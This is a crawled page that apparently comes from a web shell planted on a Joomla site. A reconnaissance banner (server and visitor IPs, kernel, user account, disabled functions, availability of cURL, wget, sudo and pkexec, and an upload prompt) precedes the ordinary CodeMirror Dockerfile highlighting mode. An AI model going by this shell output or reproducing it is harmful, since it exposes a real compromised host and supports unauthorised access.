Server IP : 195.201.23.43 / Your IP : 3.145.152.143 Web Server : Apache System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64 User : kdecoratie ( 1041) PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/kdecoratie/public_html/media/editors/codemirror/mode/dockerfile/ |
Upload File : |
// CodeMirror, copyright (c) by Marijn Haverbeke and others // Distributed under an MIT license: https://codemirror.net/LICENSE (function(mod) { if (typeof exports == "object" && typeof module == "object") // CommonJS mod(require("../../lib/codemirror"), require("../../addon/mode/simple")); else if (typeof define == "function" && define.amd) // AMD define(["../../lib/codemirror", "../../addon/mode/simple"], mod); else // Plain browser env mod(CodeMirror); })(function(CodeMirror) { "use strict"; var from = "from"; var fromRegex = new RegExp("^(\\s*)\\b(" + from + ")\\b", "i"); var shells = ["run", "cmd", "entrypoint", "shell"]; var shellsAsArrayRegex = new RegExp("^(\\s*)(" + shells.join('|') + ")(\\s+\\[)", "i"); var expose = "expose"; var exposeRegex = new RegExp("^(\\s*)(" + expose + ")(\\s+)", "i"); var others = [ "arg", "from", "maintainer", "label", "env", "add", "copy", "volume", "user", "workdir", "onbuild", "stopsignal", "healthcheck", "shell" ]; // Collect all Dockerfile directives var instructions = [from, expose].concat(shells).concat(others), instructionRegex = "(" + instructions.join('|') + ")", instructionOnlyLine = new RegExp("^(\\s*)" + instructionRegex + "(\\s*)(#.*)?$", "i"), instructionWithArguments = new RegExp("^(\\s*)" + instructionRegex + "(\\s+)", "i"); CodeMirror.defineSimpleMode("dockerfile", { start: [ // Block comment: This is a line starting with a comment { regex: /^\s*#.*$/, sol: true, token: "comment" }, { regex: fromRegex, token: [null, "keyword"], sol: true, next: "from" }, // Highlight an instruction without any arguments (for convenience) { regex: instructionOnlyLine, token: [null, "keyword", null, "error"], sol: true }, { regex: shellsAsArrayRegex, token: [null, "keyword", null], sol: true, next: "array" }, { regex: exposeRegex, token: [null, "keyword", null], sol: true, next: "expose" }, // Highlight an instruction followed by arguments { regex: instructionWithArguments, token: [null, "keyword", null], sol: true, next: "arguments" }, { regex: /./, token: null } ], from: [ { regex: /\s*$/, token: null, next: "start" }, { // Line comment without instruction arguments is an error regex: /(\s*)(#.*)$/, token: [null, "error"], next: "start" }, { regex: /(\s*\S+\s+)(as)/i, token: [null, "keyword"], next: "start" }, // Fail safe return to start { token: null, next: "start" } ], single: [ { regex: /(?:[^\\']|\\.)/, token: "string" }, { regex: /'/, token: "string", pop: true } ], double: [ { regex: /(?:[^\\"]|\\.)/, token: "string" }, { regex: /"/, token: "string", pop: true } ], array: [ { regex: /\]/, token: null, next: "start" }, { regex: /"(?:[^\\"]|\\.)*"?/, token: "string" } ], expose: [ { regex: /\d+$/, token: "number", next: "start" }, { regex: /[^\d]+$/, token: null, next: "start" }, { regex: /\d+/, token: "number" }, { regex: /[^\d]+/, token: null }, // Fail safe return to start { token: null, next: "start" } ], arguments: [ { regex: /^\s*#.*$/, sol: true, token: "comment" }, { regex: /"(?:[^\\"]|\\.)*"?$/, token: "string", next: "start" }, { regex: /"/, token: "string", push: "double" }, { regex: /'(?:[^\\']|\\.)*'?$/, token: "string", next: "start" }, { regex: /'/, token: "string", push: "single" }, { regex: /[^#"']+[\\`]$/, token: null }, { regex: /[^#"']+$/, token: null, next: "start" }, { regex: /[^#"']+/, token: null }, // Fail safe return to start { token: null, next: "start" } ], meta: { lineComment: "#" } }); CodeMirror.defineMIME("text/x-dockerfile", "dockerfile"); });Private